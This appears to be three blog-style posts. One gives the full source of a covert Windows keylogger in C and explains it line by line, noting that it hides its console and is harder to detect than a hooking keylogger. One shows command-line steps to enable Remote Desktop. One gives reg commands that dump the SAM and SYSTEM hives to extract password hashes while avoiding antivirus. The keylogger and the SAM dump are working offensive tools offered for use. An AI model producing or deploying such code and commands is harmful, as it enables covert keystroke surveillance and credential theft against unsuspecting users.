How I wrote a tiny keylogger in C, in a 1-line for-loop

I was challenged to write a keylogger in a line of C. This is the result.

This code is about 3 lines, especially when you #include , but the actual keylogger code is all written as an empty (1-line) for-loop.

int main(int i, FILE *log) {
 for(i=FreeConsole()&&(log=fopen("logf.txt","a+"));(GetAsyncKeyState(i)&1&&fputc(MapVirtualKey(i,2), log)&&!fflush(log))||1;i=(i==255&&!SleepEx(1,0)?0:i+1));
}

This is a very simple keylogger, but it works. It uses GetAsyncKeyState to sequentially check every key on the keyboard many times a second to see if it's being pressed. The advantages of this over a hooking keylogger are that it is harder to detect, smaller, and simpler.

This keylogger is case sensitive, so it will correctly log uppercase and lowercase letters. It also logs symbols, meta-keys, function keys, media-keys, etc -- but in binary, so the logs might have weird characters instead of "Backspace" or "F1", "PgDn", etc. Vim / less are good for viewing the logs.


Here's how it works:

// Main function. Use prototype to declare variables 
int main(int i, FILE *log) {
 
 // Begining of for loop
 for(
 
  // Initialise iterator (i) and open log file
  i = FreeConsole() && (log = fopen("logf.txt","a+")); 
  
  // Keylogger
  // - GetAsyncKeyState(i) -- determine if vkey 'i' is being pressed
  // - if vkey 'i' is being pressed (GetAsyncKeyState(i) & 1), 
  //   - convert it to a char code using MapVirtualKey(i,2) and 
  //  - write it to file with fputc() and flush the log file
  // - || 1 is added to the end to ensure the loop continues regardless of 
  //  other return values
  (GetAsyncKeyState(i) & 1 && fputc(MapVirtualKey(i,2), log) && !fflush(log)) || 1;
  
  // If i equals 255 set it to 0, otherwise increment it by one
  // call SleepEx(1,0) to avoid hogging the CPU.
  i = (i == 255 && !SleepEx(1,0) ? 0 : i+1)
 ) {
  // For-loop code block usually goes here, but we've squeezed all our code into the 
  // declaration of the for-loop, so this isn't necessary
 }
}

This works because For-loops in C are quite flexible and can execute a lot of syntax inline without having to break into a code block below the for-loop. You just need to be conscious of the return-value of your code to ensure it doesn't cause the loop to exit or behave strangely.

Enable remote desktop access, using command line

If you need to RDP into a windows box that you have commandline access to, this is for you.

1. First, permit RDP through the firewall.
   
   

   netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
   
   
   

2. Then, enable terminal services in the registry using the reg command:
   

   reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
   
   
   

3. Done!

To disable Remote Desktop access is just as easy:

1. First, deny RDP through the firewall.
   
   

   netsh advfirewall firewall set rule group="remote desktop" new enable=No
   
   
   

2. Then, disable terminal services in the registry using the reg command:
   

   reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
   
   
   

3. Done!

Please note, you may need to reboot the windows machine for the changes to take effect (though problably not), and this doesn't work on "home" editions of Windows.

Dump SAM files using batch script. No "pwdump" necessary.

It sometimes happens that we need to dump the nthashes of the computer that we're on, but no matter how hard we try, we can't get it to work. Maybe the programs we like to use are being blocked by an antivirus, or maybe we need to boot off a CD and the boot device priority is locked and the cmos passworded.

Whatever the problem, I have a very simple solution: Use Windows' own built-in reg tool.

That's right, you can dump the sam hashes straight from the command prompt! Here's how:

reg save HKLM\SAM %computername%.sam
reg save HKLM\SYSTEM %computername%.system

Easy. As. Pie.